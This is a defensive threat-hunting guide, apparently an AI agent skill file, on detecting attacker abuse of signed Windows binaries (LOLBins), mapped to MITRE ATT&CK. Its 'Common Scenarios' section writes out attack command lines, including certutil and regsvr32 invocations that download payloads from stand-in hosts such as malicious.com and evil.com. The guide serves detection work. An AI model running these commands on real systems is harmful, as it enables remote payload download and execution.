1---2name: hunting-for-living-off-the-land-binaries3description: Proactively hunts for adversary abuse of legitimate, signed4version: '1.0'5author: mahipal (vendored by SOCIS)6license: Apache-2.07platforms:8- linux9- macos10- windows11category: security12metadata:13 source: https://skillmd.com/skills/socisio/hunting-for-living-off-the-land-binaries14 socis:15 tags:16 - threat-hunting17 - mitre-attack18 - lolbins19 - edr20 - siem21 - proactive-detection22 - defense-evasion23 subdomain: threat-hunting24 upstream: mukul975/Anthropic-Cybersecurity-Skills25 nist_csf:26 - DE.CM-0127 - DE.AE-0228 - DE.AE-0729 - ID.RA-0530 d3fend_techniques:31 - Executable Denylisting32 - Execution Isolation33 - File Metadata Consistency Validation34 - Application Protocol Command Analysis35 - Content Format Conversion36 mitre_attack:37 - T104638 - T105739 - T108240 - T108341 - T102742---434445# Hunting for Living-off-the-Land Binaries (LOLBins)4647## When to Use4849- When investigating fileless malware campaigns that bypass traditional AV50- During proactive threat hunts targeting defense evasion techniques51- When EDR alerts fire on legitimate binaries executing unusual child processes52- After threat intelligence reports indicate LOLBin abuse in active campaigns53- During red team/purple team exercises validating detection coverage for T12185455## Prerequisites5657- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)58- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)59- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list60- PowerShell command-line logging enabled (Module Logging, Script Block Logging)61- Network proxy or firewall logs for correlating outbound connections6263## Workflow64651. **Define Hunt Hypothesis**: Formulate a hypothesis based on threat intel (e.g., "Adversaries are using certutil.exe to download second-stage payloads from external domains").662. **Identify Target LOLBins**: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).673. **Collect Process Telemetry**: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.684. **Baseline Normal Behavior**: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.695. **Identify Anomalies**: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.706. **Correlate and Enrich**: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.717. **Document and Report**: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.7273## Key Concepts7475| Concept | Description |76|---------|-------------|77| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |78| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |79| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |80| T1218.001 | Compiled HTML File (mshta.exe) |81| T1218.002 | Control Panel (control.exe) |82| T1218.003 | CMSTP |83| T1218.005 | Mshta |84| T1218.010 | Regsvr32 |85| T1218.011 | Rundll32 |86| T1197 | BITS Jobs (bitsadmin.exe) |87| T1140 | Deobfuscate/Decode Files (certutil.exe) |88| Proxy Execution | Using trusted binaries to execute untrusted code |89| Fileless Attack | Attack that operates primarily in memory without dropping files |9091## Tools & Systems9293| Tool | Purpose |94|------|---------|95| CrowdStrike Falcon | EDR telemetry and process tree analysis |96| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |97| Splunk | SIEM log aggregation and SPL queries |98| Elastic Security | Detection rules and timeline investigation |99| Sysmon | Detailed process creation and network logging |100| LOLBAS Project | Reference database of LOLBin capabilities |101| Sigma Rules | Generic detection rule format for LOLBins |102| Velociraptor | Endpoint forensic collection and hunting |103104## Common Scenarios1051061. **Certutil Download Cradle**: Adversary uses `certutil.exe -urlcache -split -f http://malicious.com/payload.exe` to download malware, bypassing web proxies that allow certutil traffic.1072. **Mshta HTA Execution**: Attacker delivers HTA file via email that executes VBScript payload through `mshta.exe`, which is a signed Microsoft binary.1083. **Rundll32 DLL Proxy Load**: Malicious DLL loaded via `rundll32.exe shell32.dll,ShellExec_RunDLL` to proxy execution through a trusted binary.1094. **Regsvr32 Squiblydoo**: Remote SCT file executed via `regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll` bypassing application whitelisting.1105. **BITSAdmin Persistence**: Adversary creates BITS transfer job to repeatedly download and execute payloads using `bitsadmin /transfer`.111112## Output Format113114```115Hunt ID: TH-LOLBIN-[DATE]-[SEQ]116Hypothesis: [Stated hypothesis]117LOLBins Investigated: [List of binaries]118Time Range: [Start] - [End]119Data Sources: [EDR, Sysmon, SIEM]120Findings:121 - [Finding 1 with evidence]122 - [Finding 2 with evidence]123Anomalies Detected: [Count]124True Positives: [Count]125False Positives: [Count]126IOCs Identified: [List]127Detection Rules Created/Updated: [List]128Recommendations: [Next steps]129```